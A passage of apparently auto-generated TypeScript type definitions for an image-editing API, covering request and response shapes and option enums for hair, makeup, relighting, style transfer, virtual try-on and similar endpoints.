InputFalAiImageAppsV2ExpressionChangeTargetExpressionEnumKey = + (typeof inputFalAiImageAppsV2ExpressionChangeTargetExpressionEnum)[keyof typeof inputFalAiImageAppsV2ExpressionChangeTargetExpressionEnum] + +export type InputFalAiImageAppsV2ExpressionChange = { + /** + * @description Aspect ratio for 4K output (default: 3:4 for portraits) + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @default 'smile' + * @type string | undefined + */ + target_expression?: InputFalAiImageAppsV2ExpressionChangeTargetExpressionEnumKey + /** + * @description Portrait image URL for expression change + * @example https://v3.fal.media/files/kangaroo/Gk5_0En-p1CNYnGOCDkl1_8332b944f8334ba9b3118b49e3e641cf.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image66A4Bc8C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2ExpressionChange = { + /** + * @description Portrait with changed expression + * @example [{"url":"https://v3b.fal.media/files/b/lion/evrtcIw4fzjESvKi7Unup_781b90e31d864eb0ad4f5ef59160ebc4.png"}] + * @type array + */ + images: Image66A4Bc8C[] +} + +export const inputFalAiImageAppsV2HairChangeTargetHairstyleEnum = { + short_hair: 'short_hair', + medium_long_hair: 'medium_long_hair', + long_hair: 'long_hair', + curly_hair: 'curly_hair', + wavy_hair: 'wavy_hair', + high_ponytail: 'high_ponytail', + bun: 'bun', + bob_cut: 'bob_cut', + pixie_cut: 'pixie_cut', + braids: 'braids', + straight_hair: 'straight_hair', + afro: 'afro', + dreadlocks: 'dreadlocks', + buzz_cut: 'buzz_cut', + mohawk: 'mohawk', + bangs: 'bangs', + side_part: 'side_part', + middle_part: 'middle_part', +} as const + +export type InputFalAiImageAppsV2HairChangeTargetHairstyleEnumKey = + (typeof inputFalAiImageAppsV2HairChangeTargetHairstyleEnum)[keyof typeof inputFalAiImageAppsV2HairChangeTargetHairstyleEnum] + +export const inputFalAiImageAppsV2HairChangeHairColorEnum = { + black: 'black', + dark_brown: 'dark_brown', + light_brown: 'light_brown', + blonde: 'blonde', + platinum_blonde: 'platinum_blonde', + red: 'red', + auburn: 'auburn', + gray: 'gray', + silver: 'silver', + blue: 'blue', + green: 'green', + purple: 'purple', + pink: 'pink', + rainbow: 'rainbow', + natural: 'natural', + highlights: 'highlights', + ombre: 'ombre', + balayage: 'balayage', +} as const + +export type InputFalAiImageAppsV2HairChangeHairColorEnumKey = + (typeof inputFalAiImageAppsV2HairChangeHairColorEnum)[keyof typeof inputFalAiImageAppsV2HairChangeHairColorEnum] + +export type InputFalAiImageAppsV2HairChange = { + /** + * @description Aspect ratio for 4K output (default: 3:4 for portraits) + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @default 'long_hair' + * @type string | undefined + */ + target_hairstyle?: InputFalAiImageAppsV2HairChangeTargetHairstyleEnumKey + /** + * @default 'natural' + * @type string | undefined + */ + hair_color?: InputFalAiImageAppsV2HairChangeHairColorEnumKey + /** + * @description Portrait image URL for hair change + * @example https://v3.fal.media/files/zebra/1ois7lqES78dLualcytmS_1e088ef24f474972824cffcfdd7ff291.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageDa741Faa = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2HairChange = { + /** + * @description Portrait with changed hair + * @example [{"url":"https://v3b.fal.media/files/b/rabbit/nuRb4Pn6U-Pryrd2LPI6I_1bcc7ca071a1483faeba2d159952c7f8.png"}] + * @type array + */ + images: ImageDa741Faa[] +} + +export const inputFalAiImageAppsV2HeadshotPhotoBackgroundStyleEnum = { + professional: 'professional', + corporate: 'corporate', + clean: 'clean', + gradient: 'gradient', +} as const + +export type InputFalAiImageAppsV2HeadshotPhotoBackgroundStyleEnumKey = + (typeof inputFalAiImageAppsV2HeadshotPhotoBackgroundStyleEnum)[keyof typeof inputFalAiImageAppsV2HeadshotPhotoBackgroundStyleEnum] + +export type InputFalAiImageAppsV2HeadshotPhoto = { + /** + * @description Aspect ratio for 4K output (default: 3:4 for portraits) + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @description Portrait image URL to convert to professional headshot + * @example https://v3.fal.media/files/panda/oMob58qZJRtbDs5l45QKT_e3a1512c455d425fab2d62e07a51c506.png + * @type string + */ + image_url: string + /** + * @default 'professional' + * @type string | undefined + */ + background_style?: InputFalAiImageAppsV2HeadshotPhotoBackgroundStyleEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6872D976 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2HeadshotPhoto = { + /** + * @description Professional headshot image + * @example [{"url":"https://v3b.fal.media/files/b/penguin/n2f6ImUI9nJORdIibmpim_dfaeb84b0e894f62ae50ccaceb9704d3.png"}] + * @type array + */ + images: Image6872D976[] +} + +export const inputFalAiImageAppsV2MakeupApplicationIntensityEnum = { + light: 'light', + medium: 'medium', + heavy: 'heavy', + dramatic: 'dramatic', +} as const + +export type InputFalAiImageAppsV2MakeupApplicationIntensityEnumKey = + (typeof inputFalAiImageAppsV2MakeupApplicationIntensityEnum)[keyof typeof inputFalAiImageAppsV2MakeupApplicationIntensityEnum] + +export const inputFalAiImageAppsV2MakeupApplicationMakeupStyleEnum = { + natural: 'natural', + glamorous: 'glamorous', + smoky_eyes: 'smoky_eyes', + bold_lips: 'bold_lips', + no_makeup: 'no_makeup', + remove_makeup: 'remove_makeup', + dramatic: 'dramatic', + bridal: 'bridal', + professional: 'professional', + korean_style: 'korean_style', + artistic: 'artistic', +} as const + +export type InputFalAiImageAppsV2MakeupApplicationMakeupStyleEnumKey = + (typeof inputFalAiImageAppsV2MakeupApplicationMakeupStyleEnum)[keyof typeof inputFalAiImageAppsV2MakeupApplicationMakeupStyleEnum] + +export type InputFalAiImageAppsV2MakeupApplication = { + /** + * @description Aspect ratio for 4K output (default: 3:4 for portraits) + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @default 'medium' + * @type string | undefined + */ + intensity?: InputFalAiImageAppsV2MakeupApplicationIntensityEnumKey + /** + * @default 'natural' + * @type string | undefined + */ + makeup_style?: InputFalAiImageAppsV2MakeupApplicationMakeupStyleEnumKey + /** + * @description Portrait image URL for makeup application + * @example https://v3.fal.media/files/elephant/jpdD30YLw3OfPdVDxq1-D_1ec2e27f3e7d400fbf5f7aa2b80e89f0.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4C70A699 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2MakeupApplication = { + /** + * @description Portrait with applied makeup + * @example [{"url":"https://v3b.fal.media/files/b/tiger/nFRi9Cemv4B5-felhf4iu_5c34cfde265443f897463f5b29b6c0b9.png"}] + * @type array + */ + images: Image4C70A699[] +} + +export const aspectRatio0Cdcc762RatioEnum = { + '1:1': '1:1', + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type AspectRatio0Cdcc762RatioEnumKey = + (typeof aspectRatio0Cdcc762RatioEnum)[keyof typeof aspectRatio0Cdcc762RatioEnum] + +/** + * @description Aspect ratio model that calculates 4K resolution dimensions + * @type object + */ +export type AspectRatio0Cdcc762 = { + /** + * @description Aspect ratio for 4K resolution output + * @default '1:1' + * @type string | undefined + */ + ratio?: AspectRatio0Cdcc762RatioEnumKey +} + +export type InputFalAiImageAppsV2ObjectRemoval = { + /** + * @description Image URL containing object to remove + * @example https://v3.fal.media/files/zebra/L_YMy6H5r_HYMacZX1qne_74a8fb6130164a18930af55370a1c9b2.png + * @type string + */ + image_url: string + /** + * @description Object to remove + * @type string + */ + object_to_remove: string + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio0Cdcc762 + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image18F60F17 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2ObjectRemoval = { + /** + * @description Image with object removed + * @example [{"url":"https://v3b.fal.media/files/b/rabbit/InVOEtkI_yl05dSz9bqiU_789bdf6c81fc4c75bdcc57bad744f389.png"}] + * @type array + */ + images: Image18F60F17[] +} + +export const inputFalAiImageAppsV2OutpaintOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', + jpg: 'jpg', + webp: 'webp', +} as const + +export type InputFalAiImageAppsV2OutpaintOutputFormatEnumKey = + (typeof inputFalAiImageAppsV2OutpaintOutputFormatEnum)[keyof typeof inputFalAiImageAppsV2OutpaintOutputFormatEnum] + +export type InputFalAiImageAppsV2Outpaint = { + /** + * @description Number of pixels to add as black margin on the right side (0-700). + * @minimum 0 + * @maximum 700 + * @default 0 + * @type integer | undefined + */ + expand_right?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description Number of pixels to add as black margin on the top side (0-700). + * @minimum 0 + * @maximum 700 + * @default 0 + * @type integer | undefined + */ + expand_top?: number + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Number of pixels to add as black margin on the left side (0-700). + * @minimum 0 + * @maximum 700 + * @default 0 + * @type integer | undefined + */ + expand_left?: number + /** + * @description The format of the output image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiImageAppsV2OutpaintOutputFormatEnumKey + /** + * @description Image URL to outpaint + * @example https://v3.fal.media/files/koala/oei_-iPIYFnhdB8SxojND_qwen-edit-res.png + * @type string + */ + image_url: string + /** + * @description Percentage to zoom out the image. If set, the image will be scaled down by this percentage and black margins will be added to maintain original size. Example: 50 means the image will be 50% of original size with black margins filling the rest. + * @minimum 0 + * @maximum 90 + * @default 20 + * @type number | undefined + */ + zoom_out_percentage?: number + /** + * @description Number of pixels to add as black margin on the bottom side (0-700). + * @minimum 0 + * @maximum 700 + * @default 0 + * @type integer | undefined + */ + expand_bottom?: number + /** + * @description If True, the function will wait for the image to be generated and uploaded before returning the response. If False, the function will return immediately and the image will be generated asynchronously. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Optional prompt to guide the outpainting. If provided, it will be appended to the base outpaint instruction. Example: 'with a beautiful sunset in the background' + * @maxLength 500 + * @default '' + * @type string | undefined + */ + prompt?: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image7Fc159Bd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2Outpaint = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Outpainted image with extended scene + * @example [{"url":"https://v3b.fal.media/files/b/zebra/S4DmrY6pF9cI2GvSaONXZ.png"}] + * @type array + */ + images: Image7Fc159Bd[] +} + +export const inputFalAiImageAppsV2PerspectiveTargetPerspectiveEnum = { + front: 'front', + left_side: 'left_side', + right_side: 'right_side', + back: 'back', + top_down: 'top_down', + bottom_up: 'bottom_up', + birds_eye: 'birds_eye', + three_quarter_left: 'three_quarter_left', + three_quarter_right: 'three_quarter_right', +} as const + +export type InputFalAiImageAppsV2PerspectiveTargetPerspectiveEnumKey = + (typeof inputFalAiImageAppsV2PerspectiveTargetPerspectiveEnum)[keyof typeof inputFalAiImageAppsV2PerspectiveTargetPerspectiveEnum] + +export type InputFalAiImageAppsV2Perspective = { + /** + * @default 'front' + * @type string | undefined + */ + target_perspective?: InputFalAiImageAppsV2PerspectiveTargetPerspectiveEnumKey + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @description Image URL for perspective change + * @example https://v3b.fal.media/files/b/lion/aqEiZ8Ui6rxWUB-Ujfu79_52c238c6d75d45538eaa71c50d329ba0.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageC91D760B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2Perspective = { + /** + * @description Image with changed perspective + * @example [{"url":"https://v3b.fal.media/files/b/zebra/Elbt2Bcigd6pVdLlbfsHV_e45937e851074d2d932363009504866d.png"}] + * @type array + */ + images: ImageC91D760B[] +} + +export type InputFalAiImageAppsV2PhotoRestoration = { + /** + * @default true + * @type boolean | undefined + */ + fix_colors?: boolean + /** + * @description Aspect ratio for 4K output (default: 4:3 for classic photos) + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @default true + * @type boolean | undefined + */ + enhance_resolution?: boolean + /** + * @description Old or damaged photo URL to restore + * @example https://v3.fal.media/files/panda/BcOIyOJ5Z1-GOjDi_GmsX_50e353c588c74435882f8f68989b4af5.png + * @type string + */ + image_url: string + /** + * @default true + * @type boolean | undefined + */ + remove_scratches?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image6284Ea98 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2PhotoRestoration = { + /** + * @description Restored photo + * @example [{"url":"https://v3b.fal.media/files/b/zebra/grrkysWir2bvFTnubydQK_92e56e5831994be59e653611983d503f.png"}] + * @type array + */ + images: Image6284Ea98[] +} + +export const inputFalAiImageAppsV2PhotographyEffectsEffectTypeEnum = { + film: 'film', + vintage_film: 'vintage_film', + portrait_photography: 'portrait_photography', + fashion_photography: 'fashion_photography', + street_photography: 'street_photography', + sepia_tone: 'sepia_tone', + film_grain: 'film_grain', + light_leaks: 'light_leaks', + vignette_effect: 'vignette_effect', + instant_camera: 'instant_camera', + golden_hour: 'golden_hour', + dramatic_lighting: 'dramatic_lighting', + soft_focus: 'soft_focus', + bokeh_effect: 'bokeh_effect', + high_contrast: 'high_contrast', + double_exposure: 'double_exposure', +} as const + +export type InputFalAiImageAppsV2PhotographyEffectsEffectTypeEnumKey = + (typeof inputFalAiImageAppsV2PhotographyEffectsEffectTypeEnum)[keyof typeof inputFalAiImageAppsV2PhotographyEffectsEffectTypeEnum] + +export type InputFalAiImageAppsV2PhotographyEffects = { + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @description Image URL for photography effects + * @example https://v3.fal.media/files/monkey/tugG2Q-XqMgf_ZoBr8KFO.jpeg + * @type string + */ + image_url: string + /** + * @default 'film' + * @type string | undefined + */ + effect_type?: InputFalAiImageAppsV2PhotographyEffectsEffectTypeEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA3D204B9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2PhotographyEffects = { + /** + * @description Image with photography effects + * @example [{"url":"https://v3b.fal.media/files/b/koala/hUNSMGeQKoBKGx0VlOYMK_3bc61fa97c8247e8bf38854eff4a6534.png"}] + * @type array + */ + images: ImageA3D204B9[] +} + +export type InputFalAiImageAppsV2PortraitEnhance = { + /** + * @description Aspect ratio for 4K output (default: 3:4 for portraits) + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @description Portrait image URL to enhance + * @example https://v3b.fal.media/files/b/monkey/VszUszGx2uzReqFvQzF26.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image1F98E491 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2PortraitEnhance = { + /** + * @description Enhanced portrait + * @example [{"url":"https://v3b.fal.media/files/b/tiger/Re4QHcI-z3a1RNUssE9s3_ac63f107bd714cccb9060e2a5c8f999f.png"}] + * @type array + */ + images: Image1F98E491[] +} + +export type InputFalAiImageAppsV2ProductHolding = { + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @description Image URL of the person who will hold the product + * @example https://v3.fal.media/files/panda/oMob58qZJRtbDs5l45QKT_e3a1512c455d425fab2d62e07a51c506.png + * @type string + */ + person_image_url: string + /** + * @description Image URL of the product to be held by the person + * @example https://v3.fal.media/files/tiger/WqtPStHkOu6W0lZcIlXD8_156e3c91cb3a4d12b7380cc43b5e4c67.png + * @type string + */ + product_image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image04172230 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2ProductHolding = { + /** + * @description Person holding the product naturally + * @example [{"url":"https://v3b.fal.media/files/b/penguin/JR-DlVO6P28LvnvMU2mu5_7078ec349a194e6c8860cae283bd3a0d.png"}] + * @type array + */ + images: Image04172230[] +} + +export type InputFalAiImageAppsV2ProductPhotography = { + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @description Image URL of the product to create professional studio photography + * @example https://v3.fal.media/files/tiger/WqtPStHkOu6W0lZcIlXD8_156e3c91cb3a4d12b7380cc43b5e4c67.png + * @type string + */ + product_image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image50D6Efac = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2ProductPhotography = { + /** + * @description Professional studio product photography + * @example [{"url":"https://v3b.fal.media/files/b/panda/NggkU_5Ne-SB-Ltgr0lbH_b76a99a276374ff9b13f399e57c54cb6.png"}] + * @type array + */ + images: Image50D6Efac[] +} + +export const inputFalAiImageAppsV2RelightingLightingStyleEnum = { + natural: 'natural', + studio: 'studio', + golden_hour: 'golden_hour', + blue_hour: 'blue_hour', + dramatic: 'dramatic', + soft: 'soft', + hard: 'hard', + backlight: 'backlight', + side_light: 'side_light', + front_light: 'front_light', + rim_light: 'rim_light', + sunset: 'sunset', + sunrise: 'sunrise', + neon: 'neon', + candlelight: 'candlelight', + moonlight: 'moonlight', + spotlight: 'spotlight', + ambient: 'ambient', +} as const + +export type InputFalAiImageAppsV2RelightingLightingStyleEnumKey = + (typeof inputFalAiImageAppsV2RelightingLightingStyleEnum)[keyof typeof inputFalAiImageAppsV2RelightingLightingStyleEnum] + +export type InputFalAiImageAppsV2Relighting = { + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @default 'natural' + * @type string | undefined + */ + lighting_style?: InputFalAiImageAppsV2RelightingLightingStyleEnumKey + /** + * @description Image URL for relighting + * @example https://v3.fal.media/files/monkey/tugG2Q-XqMgf_ZoBr8KFO.jpeg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image922Cbde4 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2Relighting = { + /** + * @description Image with new lighting + * @example [{"url":"https://v3b.fal.media/files/b/penguin/TD0yR-XgXfyZjSjKcxKWS_4a54a0fb769d4a60bf6818fffed70493.png"}] + * @type array + */ + images: Image922Cbde4[] +} + +export const inputFalAiImageAppsV2StyleTransferTargetStyleEnum = { + anime_character: 'anime_character', + cartoon_3d: 'cartoon_3d', + hand_drawn_animation: 'hand_drawn_animation', + cyberpunk_future: 'cyberpunk_future', + anime_game_style: 'anime_game_style', + comic_book_animation: 'comic_book_animation', + animated_series: 'animated_series', + cartoon_animation: 'cartoon_animation', + lofi_aesthetic: 'lofi_aesthetic', + cottagecore: 'cottagecore', + dark_academia: 'dark_academia', + y2k: 'y2k', + vaporwave: 'vaporwave', + liminal_space: 'liminal_space', + weirdcore: 'weirdcore', + dreamcore: 'dreamcore', + synthwave: 'synthwave', + outrun: 'outrun', + photorealistic: 'photorealistic', + hyperrealistic: 'hyperrealistic', + digital_art: 'digital_art', + concept_art: 'concept_art', + impressionist: 'impressionist', + anime: 'anime', + pixel_art: 'pixel_art', + claymation: 'claymation', +} as const + +export type InputFalAiImageAppsV2StyleTransferTargetStyleEnumKey = + (typeof inputFalAiImageAppsV2StyleTransferTargetStyleEnum)[keyof typeof inputFalAiImageAppsV2StyleTransferTargetStyleEnum] + +export type InputFalAiImageAppsV2StyleTransfer = { + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @description Optional reference image URL. When provided, the style will be inferred from this image instead of the selected preset style. + */ + style_reference_image_url?: string | null + /** + * @default 'impressionist' + * @type string | undefined + */ + target_style?: InputFalAiImageAppsV2StyleTransferTargetStyleEnumKey + /** + * @description Image URL for style transfer + * @example https://v3.fal.media/files/tiger/vAohCtb_N8Q_cAs9Z03GS.jpeg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image033131De = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2StyleTransfer = { + /** + * @description Image with transferred style + * @example [{"url":"https://v3b.fal.media/files/b/koala/LX3BVXfDxE_3qgqH4YL3P_d89afb41867b4a698d29b6308d610dc1.png"}] + * @type array + */ + images: Image033131De[] +} + +export const inputFalAiImageAppsV2TextureTransformTargetTextureEnum = { + cotton: 'cotton', + denim: 'denim', + wool: 'wool', + felt: 'felt', + wood: 'wood', + leather: 'leather', + velvet: 'velvet', + stone: 'stone', + marble: 'marble', + ceramic: 'ceramic', + concrete: 'concrete', + brick: 'brick', + clay: 'clay', + foam: 'foam', + glass: 'glass', + metal: 'metal', + silk: 'silk', + fabric: 'fabric', + crystal: 'crystal', + rubber: 'rubber', + plastic: 'plastic', + lace: 'lace', +} as const + +export type InputFalAiImageAppsV2TextureTransformTargetTextureEnumKey = + (typeof inputFalAiImageAppsV2TextureTransformTargetTextureEnum)[keyof typeof inputFalAiImageAppsV2TextureTransformTargetTextureEnum] + +export type InputFalAiImageAppsV2TextureTransform = { + /** + * @default 'marble' + * @type string | undefined + */ + target_texture?: InputFalAiImageAppsV2TextureTransformTargetTextureEnumKey + /** + * @description Aspect ratio for 4K output + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @description Image URL for texture transformation + * @example https://v3.fal.media/files/tiger/WqtPStHkOu6W0lZcIlXD8_156e3c91cb3a4d12b7380cc43b5e4c67.png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageD875721B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2TextureTransform = { + /** + * @description Image with transformed texture + * @example [{"url":"https://v3b.fal.media/files/b/elephant/gbv_d9UfnVu_axz_E64fA_4f79ee88e4ed49759c09110783d9924d.png"}] + * @type array + */ + images: ImageD875721B[] +} + +export type InputFalAiImageAppsV2VirtualTryOn = { + /** + * @description Aspect ratio for 4K output (default: 3:4 for fashion) + * @type object | undefined + */ + aspect_ratio?: AspectRatio + /** + * @default true + * @type boolean | undefined + */ + preserve_pose?: boolean + /** + * @description Clothing photo URL + * @example https://v3b.fal.media/files/b/monkey/5ZWXSKUuk9EilI1apFCeu_1ecd050187f24b9aa1d2defb88d8d8ae.png + * @type string + */ + clothing_image_url: string + /** + * @description Person photo URL + * @example https://v3.fal.media/files/tiger/4vxSHizex4UWR5fdnPs1A.jpeg + * @type string + */ + person_image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image8797C856 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageAppsV2VirtualTryOn = { + /** + * 